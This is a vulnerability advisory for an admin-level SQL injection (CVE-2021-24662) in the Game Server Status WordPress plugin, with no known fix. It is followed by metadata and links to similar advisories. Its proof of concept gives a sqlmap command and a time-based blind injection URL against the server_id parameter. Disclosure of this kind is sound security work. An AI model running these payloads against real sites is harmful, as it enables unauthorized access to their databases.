Game Server Status <= 1.0 – Admin+ SQL Injection | CVE 2021-24662 | Plugin Vulnerabilities

Description

The plugin does not validate or escape the server_id parameter before using it in SQL statement, leading to an Authenticated SQL Injection in an admin page

Proof of Concept

sqlmap -u "https://example.com/wp-admin/admin.php?page=grohsfabian-add-game-servers&server_id=1" -p server_id --dbms mysql --cookie [your cookie]

https://example.com/wp-admin/admin.php?page=grohsfabian-add-game-servers&server_id=1+OR+(SELECT+42+FROM+(SELECT(SLEEP(5)))b)

Affects Plugins

game-server-status

No known fix

References

CVE

Classification

Type

SQLI

OWASP top 10

CWE

CVSS

Miscellaneous

Original Researcher

Neppah

Submitter

Neppah

Verified

Yes

WPVDB ID

8a74a2a0-3d8c-427f-9a83-0160d652c5f0

Timeline

Publicly Published

2021-09-21 (about 4 years ago)

Added

2021-09-21 (about 4 years ago)

Last Updated

2022-04-10 (about 3 years ago)

Other

Published

Title

Published

2024-04-16

Title

WooCommerce Multilingual & Multicurrency with WPML < 5.3.4 - Shop Manager+ SQL Injection

Published

2023-10-02

Title

Most Popular Posts Widget < 0.9 - Admin+ SQL injection

Published

2024-03-26

Title

Photos and Files Contest Gallery < 21.3.2.1 - Authenticated (Contributor+) SQL Injection

Published

2015-04-15

Title

Ajax Store Locator <= 1.2 - Remote SQL Injection

Published

2025-05-12

Title

WP-Optimize < 4.2.0 - Admin+ SQLi